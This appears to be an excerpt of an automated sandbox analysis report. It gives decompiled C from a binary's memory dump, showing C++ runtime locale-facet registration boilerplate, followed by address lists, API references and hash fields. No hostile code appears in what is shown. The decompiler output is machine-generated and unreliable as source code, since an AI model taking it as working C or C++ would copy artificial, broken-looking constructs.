																																								L0049D90B(0x4d6966, _t740, _t761);
																																								L00488DEA( &_v20, 0);
																																								_t762 =  *0x4ede04;
																																								_v4 = _v4 & 0x00000000;
																																								_v16 = _t762;
																																								_t741 = E0042B315(_a8, E0042B22E(0x4edda8, _t740, _t762, __eflags));
																																								__eflags = _t741;
																																								if(_t741 != 0) {
																																									L89:
																																									L00488E42( &_v20);
																																									return L0049D8D4(_t741);
																																								} else {
																																									__eflags = _t762;
																																									if(__eflags == 0) {
																																										_push(_a8);
																																										_push( &_v16);
																																										__eflags = E0048E537(_t741, _t762, __eflags) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E0042B042(__eflags);
																																											asm("int3");
																																											_push(8);
																																											L0049D90B(0x4d6966, _t741, _t762);
																																											L00488DEA( &_v20, 0);
																																											_t763 =  *0x4eddd4;
																																											_v4 = _v4 & 0x00000000;
																																											_v16 = _t763;
																																											_t742 = E0042B315(_a8, E0042B22E(0x4edd80, _t741, _t763, __eflags));
																																											__eflags = _t742;
																																											if(_t742 != 0) {
																																												L96:
																																												L00488E42( &_v20);
																																												return L0049D8D4(_t742);
																																											} else {
																																												__eflags = _t763;
																																												if(__eflags == 0) {
																																													_push(_a8);
																																													_push( &_v16);
																																													__eflags = E0048E59F(_t742, _t763, __eflags) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E0042B042(__eflags);
																																														asm("int3");
																																														_push(8);
																																														L0049D90B(0x4d6966, _t742, _t763);
																																														L00488DEA( &_v20, 0);
																																														_t764 =  *0x4ede08;
																																														_v4 = _v4 & 0x00000000;
																																														_v16 = _t764;
																																														_t743 = E0042B315(_a8, E0042B22E(0x4eddac, _t742, _t764, __eflags));
																																														__eflags = _t743;
																																														if(_t743 != 0) {
																																															L103:
																																															L00488E42( &_v20);
																																															return L0049D8D4(_t743);
																																														} else {
																																															__eflags = _t764;
																																															if(__eflags == 0) {
																																																_push(_a8);
																																																_push( &_v16);
																																																__eflags = E0048E607(_t743, _t764, __eflags) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E0042B042(__eflags);
																																																	asm("int3");
																																																	_push(8);
																																																	L0049D90B(0x4d6966, _t743, _t764);
																																																	L00488DEA( &_v20, 0);
																																																	_t765 =  *0x4eddd8;
																																																	_v4 = _v4 & 0x00000000;
																																																	_v16 = _t765;
																																																	_t744 = E0042B315(_a8, E0042B22E(0x4edd84, _t743, _t765, __eflags));
																																																	__eflags = _t744;
																																																	if(_t744 != 0) {
																																																		L110:
																																																		L00488E42( &_v20);
																																																		return L0049D8D4(_t744);
																																																	} else {
																																																		__eflags = _t765;
																																																		if(__eflags == 0) {
																																																			_push(_a8);
																																																			_push( &_v16);
																																																			__eflags = E0048E682(_t744, _t765, __eflags) - 0xffffffff;
																																																			if(__eflags == 0) {
																																																				E0042B042(__eflags);
																																																				asm("int3");
																																																				_push(8);
																																																				L0049D90B(0x4d6966, _t744, _t765);
																																																				L00488DEA( &_v20, 0);
																																																				_t766 =  *0x4ede24;
																																																				_v4 = _v4 & 0x00000000;
																																																				_v16 = _t766;
																																																				_t745 = E0042B315(_a8, E0042B22E(0x4eddc8, _t744, _t766, __eflags));
																																																				__eflags = _t745;
																																																				if(_t745 != 0) {
																																																					L117:
																																																					L00488E42( &_v20);
																																																					return L0049D8D4(_t745);
																																																				} else {
																																																					__eflags = _t766;
																																																					if(__eflags == 0) {
																																																						_push(_a8);
																																																						_push( &_v16);
																																																						__eflags = E0048E6FD(_t745, _t766, __eflags) - 0xffffffff;
																																																						if(__eflags == 0) {
																																																							E0042B042(__eflags);
																																																							asm("int3");
																																																							_push(8);
																																																							L0049D90B(0x4d6966, _t745, _t766);
																																																							L00488DEA( &_v20, 0);
																																																							_t767 =  *0x4eddf4;
																																																							_v4 = _v4 & 0x00000000;
																																																							_v16 = _t767;
																																																							_t746 = E0042B315(_a8, E0042B22E(0x4edda0, _t745, _t767, __eflags));
																																																							__eflags = _t746;
																																																							if(_t746 != 0) {
																																																								L124:
																																																								L00488E42( &_v20);
																																																								return L0049D8D4(_t746);
																																																							} else {
																																																								__eflags = _t767;
																																																								if(__eflags == 0) {
																																																									_push(_a8);
																																																									_push( &_v16);
																																																									__eflags = E0048E769(_t746, _t767, __eflags) - 0xffffffff;
																																																									if(__eflags == 0) {
																																																										E0042B042(__eflags);
																																																										asm("int3");
																																																										_push(8);
																																																										L0049D90B(0x4d6966, _t746, _t767);
																																																										L00488DEA( &_v20, 0);
																																																										_t768 =  *0x4ede28;
																																																										_v4 = _v4 & 0x00000000;
																																																										_v16 = _t768;
																																																										_t747 = E0042B315(_a8, E0042B22E(0x4eddcc, _t746, _t768, __eflags));
																																																										__eflags = _t747;
																																																										if(_t747 != 0) {
																																																											L131:
																																																											L00488E42( &_v20);
																																																											return L0049D8D4(_t747);
																																																										} else {
																																																											__eflags = _t768;
																																																											if(__eflags == 0) {
																																																												_push(_a8);
																																																												_push( &_v16);
																																																												__eflags = E0048E7D5(_t747, _t768, __eflags) - 0xffffffff;
																																																												if(__eflags == 0) {
																																																													E0042B042(__eflags);
																																																													asm("int3");
																																																													_push(8);
																																																													L0049D90B(0x4d6966, _t747, _t768);
																																																													L00488DEA( &_v20, 0);
																																																													_t769 =  *0x4eddf8;
																																																													_v4 = _v4 & 0x00000000;
																																																													_v16 = _t769;
																																																													_t748 = E0042B315(_a8, E0042B22E(0x4edd78, _t747, _t769, __eflags));
																																																													__eflags = _t748;
																																																													if(_t748 != 0) {
																																																														L138:
																																																														L00488E42( &_v20);
																																																														return L0049D8D4(_t748);
																																																													} else {
																																																														__eflags = _t769;
																																																														if(__eflags == 0) {
																																																															_push(_a8);
																																																															_push( &_v16);
																																																															_t463 = E0048E849(_t748, _t769, __eflags);
																																																															_pop(_t667);
																																																															__eflags = _t463 - 0xffffffff;
																																																															if(__eflags == 0) {
																																																																E0042B042(__eflags);
																																																																asm("int3");
																																																																_push(_t769);
																																																																_t770 = _t667;
																																																																_t242 = _t770 + 0x10;
																																																																 *_t242 =  *(_t770 + 0x10) & 0x00000000;
																																																																__eflags =  *_t242;
																																																																 *((intOrPtr*)(_t770 + 0x14)) = 7;
																																																																 *_t770 = 0;
																																																																L00494BE0( *((intOrPtr*)(_t795 + 8)));
																																																																return _t770;
																																																															} else {
																																																																_t748 = _v16;
																																																																_v16 = _t748;
																																																																_v4 = 1;
																																																																E0048919D(_t748);
																																																																 *0x4f02b4();
																																																																 *((intOrPtr*)( *((intOrPtr*)( *_t748 + 4))))();
																																																																 *0x4eddf8 = _t748;
																																																																goto L138;
																																																															}
																																																														} else {
																																																															_t748 = _t769;
																																																															goto L138;
																																																														}
																																																													}
																																																												} else {
																																																													_t747 = _v16;
																																																													_v16 = _t747;
																																																													_v4 = 1;
																																																													E0048919D(_t747);
																																																													 *0x4f02b4();
																																																													 *((intOrPtr*)( *((intOrPtr*)( *_t747 + 4))))();
																																																													 *0x4ede28 = _t747;
																																																													goto L131;
																																																												}
																																																											} else {
																																																												_t747 = _t768;
																																																												goto L131;
																																																											}
																																																										}
																																																									} else {
																																																										_t746 = _v16;
																																																										_v16 = _t746;
																																																										_v4 = 1;
																																																										E0048919D(_t746);
																																																										 *0x4f02b4();
																																																										 *((intOrPtr*)( *((intOrPtr*)( *_t746 + 4))))();
																																																										 *0x4eddf4 = _t746;
																																																										goto L124;
																																																									}
																																																								} else {
																																																									_t746 = _t767;
																																																									goto L124;
																																																								}
																																																							}
																																																						} else {
																																																							_t745 = _v16;
																																																							_v16 = _t745;
																																																							_v4 = 1;
																																																							E0048919D(_t745);
																																																							 *0x4f02b4();
																																																							 *((intOrPtr*)( *((intOrPtr*)( *_t745 + 4))))();
																																																							 *0x4ede24 = _t745;
																																																							goto L117;
																																																						}
																																																					} else {
																																																						_t745 = _t766;
																																																						goto L117;
																																																					}
																																																				}
																																																			} else {
																																																				_t744 = _v16;
																																																				_v16 = _t744;
																																																				_v4 = 1;
																																																				E0048919D(_t744);
																																																				 *0x4f02b4();
																																																				 *((intOrPtr*)( *((intOrPtr*)( *_t744 + 4))))();
																																																				 *0x4eddd8 = _t744;
																																																				goto L110;
																																																			}
																																																		} else {
																																																			_t744 = _t765;
																																																			goto L110;
																																																		}
																																																	}
																																																} else {
																																																	_t743 = _v16;
																																																	_v16 = _t743;
																																																	_v4 = 1;
																																																	E0048919D(_t743);
																																																	 *0x4f02b4();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t743 + 4))))();
																																																	 *0x4ede08 = _t743;
																																																	goto L103;
																																																}
																																															} else {
																																																_t743 = _t764;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t742 = _v16;
																																														_v16 = _t742;
																																														_v4 = 1;
																																														E0048919D(_t742);
																																														 *0x4f02b4();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t742 + 4))))();
																																														 *0x4eddd4 = _t742;
																																														goto L96;
																																													}
																																												} else {
																																													_t742 = _t763;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t741 = _v16;
																																											_v16 = _t741;
																																											_v4 = 1;
																																											E0048919D(_t741);
																																											 *0x4f02b4();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t741 + 4))))();
																																											 *0x4ede04 = _t741;
																																											goto L89;
																																										}
																																									} else {
																																										_t741 = _t762;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t740 = _v16;
																																								_v16 = _t740;
																																								_v4 = 1;
																																								E0048919D(_t740);
																																								 *0x4f02b4();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t740 + 4))))();
																																								 *0x4eddd0 = _t740;
																																								goto L82;
																																							}
																																						} else {
																																							_t740 = _t761;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t739 = _v16;
																																					_v16 = _t739;
																																					_v4 = 1;
																																					E0048919D(_t739);
																																					 *0x4f02b4();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t739 + 4))))();
																																					 *0x4ede00 = _t739;
																																					goto L75;
																																				}
																																			} else {
																																				_t739 = _t760;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t738 = _v16;
																																		_v16 = _t738;
																																		_v4 = 1;
																																		E0048919D(_t738);
																																		 *0x4f02b4();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t738 + 4))))();
																																		 *0x4eddec = _t738;
																																		goto L68;
																																	}
																																} else {
																																	_t738 = _t759;
																																	goto L68;
																																}
																															}
																														} else {
																															_t737 = _v16;
																															_v16 = _t737;
																															_v4 = 1;
																															E0048919D(_t737);
																															 *0x4f02b4();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t737 + 4))))();
																															 *0x4eddf0 = _t737;
																															goto L61;
																														}
																													} else {
																														_t737 = _t758;
																														goto L61;
																													}
																												}
																											} else {
																												_t736 = _v16;
																												_v16 = _t736;
																												_v4 = 1;
																												E0048919D(_t736);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t736 + 4))))();
																												 *0x4ede1c = _t736;
																												goto L54;
																											}
																										} else {
																											_t736 = _t757;
																											goto L54;
																										}
																									}
																								} else {
																									_t735 = _v16;
																									_v16 = _t735;
																									_v4 = 1;
																									E0048919D(_t735);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t735 + 4))))();
																									 *0x4ede20 = _t735;
																									goto L47;
																								}
																							} else {
																								_t735 = _t756;
																								goto L47;
																							}
																						}
																					} else {
																						_t734 = _v16;
																						_v16 = _t734;
																						_v4 = 1;
																						E0048919D(_t734);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t734 + 4))))();
																						 *0x4edde8 = _t734;
																						goto L40;
																					}
																				} else {
																					_t734 = _t755;
																					goto L40;
																				}
																			}
																		} else {
																			_t733 = _v16;
																			_v16 = _t733;
																			_v4 = 1;
																			E0048919D(_t733);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t733 + 4))))();
																			 *0x4ede18 = _t733;
																			goto L33;
																		}
																	} else {
																		_t733 = _t754;
																		goto L33;
																	}
																}
															} else {
																_t732 = _v16;
																_v16 = _t732;
																_v4 = 1;
																E0048919D(_t732);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t732 + 4))))();
																 *0x4edde4 = _t732;
																goto L26;
															}
														} else {
															_t732 = _t753;
															goto L26;
														}
													}
												} else {
													_t731 = _v16;
													_v16 = _t731;
													_v4 = 1;
													E0048919D(_t731);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t731 + 4))))();
													 *0x4ede14 = _t731;
													goto L19;
												}
											} else {
												_t731 = _t752;
												goto L19;
											}
										}
									} else {
										_t730 = _v16;
										_v16 = _t730;
										_v4 = 1;
										E0048919D(_t730);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t730 + 4))))();
										 *0x4edde0 = _t730;
										goto L12;
									}
								} else {
									_t730 = _t751;
									goto L12;
								}
							}
						} else {
							_t729 = _v16;
							_v16 = _t729;
							_v4 = 1;
							E0048919D(_t729);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t729 + 4))))();
							 *0x4ede10 = _t729;
							goto L5;
						}
					} else {
						_t729 = _t750;
						goto L5;
					}
				}
			}

0x0048c4bc
0x0048c4c3
0x0048c4cd
0x0048c4d2
0x0048c4dd
0x0048c4e1
0x0048c4ed
0x0048c4f2
0x0048c4f6
0x0048c53b
0x0048c53e
0x0048c54a
0x0048c4f8
0x0048c4fa
0x0048c500
0x0048c506
0x0048c50e
0x0048c511
0x0048c54b
0x0048c550
0x0048c551
0x0048c558
0x0048c562
0x0048c567
0x0048c572
0x0048c576
0x0048c587
0x0048c589
0x0048c58b
0x0048c5d0
0x0048c5d3
0x0048c5df
0x0048c58d
0x0048c58d
0x0048c58f
0x0048c595
0x0048c59b
0x0048c5a3
0x0048c5a6
0x0048c5e0
0x0048c5e5
0x0048c5e6
0x0048c5ed
0x0048c5f7
0x0048c5fc
0x0048c607
0x0048c60b
0x0048c61c
0x0048c61e
0x0048c620
0x0048c665
0x0048c668
0x0048c674
0x0048c622
0x0048c622
0x0048c624
0x0048c62a
0x0048c630
0x0048c638
0x0048c63b
0x0048c675
0x0048c67a
0x0048c67b
0x0048c682
0x0048c68c
0x0048c691
0x0048c69c
0x0048c6a0
0x0048c6b1
0x0048c6b3
0x0048c6b5
0x0048c6fa
0x0048c6fd
0x0048c709
0x0048c6b7
0x0048c6b7
0x0048c6b9
0x0048c6bf
0x0048c6c5
0x0048c6cd
0x0048c6d0
0x0048c70a
0x0048c70f
0x0048c710
0x0048c717
0x0048c721
0x0048c726
0x0048c731
0x0048c735
0x0048c746
0x0048c748
0x0048c74a
0x0048c78f
0x0048c792
0x0048c79e
0x0048c74c
0x0048c74c
0x0048c74e
0x0048c754
0x0048c75a
0x0048c762
0x0048c765
0x0048c79f
0x0048c7a4
0x0048c7a5
0x0048c7ac
0x0048c7b6
0x0048c7bb
0x0048c7c6
0x0048c7ca
0x0048c7db
0x0048c7dd
0x0048c7df
0x0048c824
0x0048c827
0x0048c833
0x0048c7e1
0x0048c7e1
0x0048c7e3
0x0048c7e9
0x0048c7ef
0x0048c7f7
0x0048c7fa
0x0048c834
0x0048c839
0x0048c83a
0x0048c841
0x0048c84b
0x0048c850
0x0048c85b
0x0048c85f
0x0048c870
0x0048c872
0x0048c874
0x0048c8b9
0x0048c8bc
0x0048c8c8
0x0048c876
0x0048c876
0x0048c878
0x0048c87e
0x0048c884
0x0048c88c
0x0048c88f
0x0048c8c9
0x0048c8ce
0x0048c8cf
0x0048c8d6
0x0048c8e0
0x0048c8e5
0x0048c8f0
0x0048c8f4
0x0048c905
0x0048c907
0x0048c909
0x0048c94e
0x0048c951
0x0048c95d
0x0048c90b
0x0048c90b
0x0048c90d
0x0048c913
0x0048c919
0x0048c921
0x0048c924
0x0048c95e
0x0048c963
0x0048c964
0x0048c96b
0x0048c975
0x0048c97a
0x0048c985
0x0048c989
0x0048c99a
0x0048c99c
0x0048c99e
0x0048c9e3
0x0048c9e6
0x0048c9f2
0x0048c9a0
0x0048c9a0
0x0048c9a2
0x0048c9a8
0x0048c9ae
0x0048c9b6
0x0048c9b9
0x0048c9f3
0x0048c9f8
0x0048c9f9
0x0048ca00
0x0048ca0a
0x0048ca0f
0x0048ca1a
0x0048ca1e
0x0048ca2f
0x0048ca31
0x0048ca33
0x0048ca78
0x0048ca7b
0x0048ca87
0x0048ca35
0x0048ca35
0x0048ca37
0x0048ca3d
0x0048ca43
0x0048ca4b
0x0048ca4e
0x0048ca88
0x0048ca8d
0x0048ca8e
0x0048ca95
0x0048ca9f
0x0048caa4
0x0048caaf
0x0048cab3
0x0048cac4
0x0048cac6
0x0048cac8
0x0048cb0d
0x0048cb10
0x0048cb1c
0x0048caca
0x0048caca
0x0048cacc
0x0048cad2
0x0048cad8
0x0048cae0
0x0048cae3
0x0048cb1d
0x0048cb22
0x0048cb23
0x0048cb2a
0x0048cb34
0x0048cb39
0x0048cb44
0x0048cb48
0x0048cb59
0x0048cb5b
0x0048cb5d
0x0048cba2
0x0048cba5
0x0048cbb1
0x0048cb5f
0x0048cb5f
0x0048cb61
0x0048cb67
0x0048cb6d
0x0048cb75
0x0048cb78
0x0048cbb2
0x0048cbb7
0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbee
0x0048cbf0
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6
0x0048cb7a
0x0048cb7a
0x0048cb7d
0x0048cb81
0x0048cb85
0x0048cb92
0x0048cb9a
0x0048cb9c
0x00000000
0x0048cb9c
0x0048cb63
0x0048cb63
0x00000000
0x0048cb63
0x0048cb61
0x0048cae5
0x0048cae5
0x0048cae8
0x0048caec
0x0048caf0
0x0048cafd
0x0048cb05
0x0048cb07
0x00000000
0x0048cb07
0x0048cace
0x0048cace
0x00000000
0x0048cace
0x0048cacc
0x0048ca50
0x0048ca50
0x0048ca53
0x0048ca57
0x0048ca5b
0x0048ca68
0x0048ca70
0x0048ca72
0x00000000
0x0048ca72
0x0048ca39
0x0048ca39
0x00000000
0x0048ca39
0x0048ca37
0x0048c9bb
0x0048c9bb
0x0048c9be
0x0048c9c2
0x0048c9c6
0x0048c9d3
0x0048c9db
0x0048c9dd
0x00000000
0x0048c9dd
0x0048c9a4
0x0048c9a4
0x00000000
0x0048c9a4
0x0048c9a2
0x0048c926
0x0048c926
0x0048c929
0x0048c92d
0x0048c931
0x0048c93e
0x0048c946
0x0048c948
0x00000000
0x0048c948
0x0048c90f
0x0048c90f
0x00000000
0x0048c90f
0x0048c90d
0x0048c891
0x0048c891
0x0048c894
0x0048c898
0x0048c89c
0x0048c8a9
0x0048c8b1
0x0048c8b3
0x00000000
0x0048c8b3
0x0048c87a
0x0048c87a
0x00000000
0x0048c87a
0x0048c878
0x0048c7fc
0x0048c7fc
0x0048c7ff
0x0048c803
0x0048c807
0x0048c814
0x0048c81c
0x0048c81e
0x00000000
0x0048c81e
0x0048c7e5
0x0048c7e5
0x00000000
0x0048c7e5
0x0048c7e3
0x0048c767
0x0048c767
0x0048c76a
0x0048c76e
0x0048c772
0x0048c77f
0x0048c787
0x0048c789
0x00000000
0x0048c789
0x0048c750
0x0048c750
0x00000000
0x0048c750
0x0048c74e
0x0048c6d2
0x0048c6d2
0x0048c6d5
0x0048c6d9
0x0048c6dd
0x0048c6ea
0x0048c6f2
0x0048c6f4
0x00000000
0x0048c6f4
0x0048c6bb
0x0048c6bb
0x00000000
0x0048c6bb
0x0048c6b9
0x0048c63d
0x0048c63d
0x0048c640
0x0048c644
0x0048c648
0x0048c655
0x0048c65d
0x0048c65f
0x00000000
0x0048c65f
0x0048c626
0x0048c626
0x00000000
0x0048c626
0x0048c624
0x0048c5a8
0x0048c5a8
0x0048c5ab
0x0048c5af
0x0048c5b3
0x0048c5c0
0x0048c5c8
0x0048c5ca
0x00000000
0x0048c5ca
0x0048c591
0x0048c591
0x00000000
0x0048c591
0x0048c58f
0x0048c513
0x0048c513
0x0048c516
0x0048c51a
0x0048c51e
0x0048c52b
0x0048c533
0x0048c535
0x00000000
0x0048c535
0x0048c4fc
0x0048c4fc
0x00000000
0x0048c4fc
0x0048c4fa

APIs

__EH_prolog3.LIBCMT ref: 0048C4C3
std::_Lockit::_Lockit.LIBCPMT ref: 0048C4CD

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

messages.LIBCPMT ref: 0048C507
std::_Facet_Register.LIBCPMT ref: 0048C51E
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C53E
Concurrency::cancel_current_task.LIBCPMT ref: 0048C54B

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registermessages
String ID:
API String ID: 37379925-0
Opcode ID: d59de9419ad3b190d17df556c0da70892262e61fff844c3cd2203e01b7d089c9
Instruction ID: 4bbd490ad041bba1fb52bbd727a2092eb91c672df0caa7d0fd5ec78508527980
Opcode Fuzzy Hash: d59de9419ad3b190d17df556c0da70892262e61fff844c3cd2203e01b7d089c9
Instruction Fuzzy Hash: 94010471E001259BCF01FB65D8556BE77B1AF84314F54080FE411AB382CF7C9E018798

Uniqueness

Uniqueness Score: -1.00%

Function 0048C551, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048C551(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v224;
				signed int _t237;
				void* _t440;
				short* _t634;
				void* _t692;
				signed int _t694;
				signed int _t695;
				signed int _t696;
				signed int _t697;
				signed int _t698;
				signed int _t699;
				signed int _t700;
				signed int _t701;
				signed int _t702;
				signed int _t703;
				signed int _t704;
				signed int _t705;
				signed int _t706;
				signed int _t707;
				signed int _t708;
				signed int _t709;
				signed int _t710;
				signed int _t711;
				void* _t712;
				signed int _t713;
				signed int _t714;
				signed int _t715;
				signed int _t716;
				signed int _t717;
				signed int _t718;
				signed int _t719;
				signed int _t720;
				signed int _t721;
				signed int _t722;
				signed int _t723;
				signed int _t724;
				signed int _t725;
				signed int _t726;
				signed int _t727;
				signed int _t728;
				signed int _t729;
				signed int _t730;
				signed int _t731;
				short* _t732;
				void* _t756;
				void* _t757;

				_push(8);
				L0049D90B(0x4d6966, _t692, _t712);
				L00488DEA( &_v20, 0);
				_t713 =  *0x4edde0; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t713;
				_t237 = E0042B315(_a8, E0042B22E(0x4edd8c, _t692, _t713, _t757));
				_t693 = _t237;
				if(_t237 != 0) {
					L5:
					L00488E42( &_v20);
					return L0049D8D4(_t693);
				} else {
					if(_t713 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048E04D(_t693, _t713, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							L0049D90B(0x4d6966, _t693, _t713);
							L00488DEA( &_v20, 0);
							_t714 =  *0x4ede14; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t714;
							_t694 = E0042B315(_a8, E0042B22E(0x4eddb8, _t693, _t714, __eflags));
							__eflags = _t694;
							if(_t694 != 0) {
								L12:
								L00488E42( &_v20);
								return L0049D8D4(_t694);
							} else {
								__eflags = _t714;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048E0B5(_t694, _t714, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										L0049D90B(0x4d6966, _t694, _t714);
										L00488DEA( &_v20, 0);
										_t715 =  *0x4edde4; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t715;
										_t695 = E0042B315(_a8, E0042B22E(0x4edd90, _t694, _t715, __eflags));
										__eflags = _t695;
										if(_t695 != 0) {
											L19:
											L00488E42( &_v20);
											return L0049D8D4(_t695);
										} else {
											__eflags = _t715;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048E11D(_t695, _t715, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													L0049D90B(0x4d6966, _t695, _t715);
													L00488DEA( &_v20, 0);
													_t716 =  *0x4ede18; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t716;
													_t696 = E0042B315(_a8, E0042B22E(0x4eddbc, _t695, _t716, __eflags));
													__eflags = _t696;
													if(_t696 != 0) {
														L26:
														L00488E42( &_v20);
														return L0049D8D4(_t696);
													} else {
														__eflags = _t716;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048E185(_t696, _t716, __eflags) - 0xffffffff;
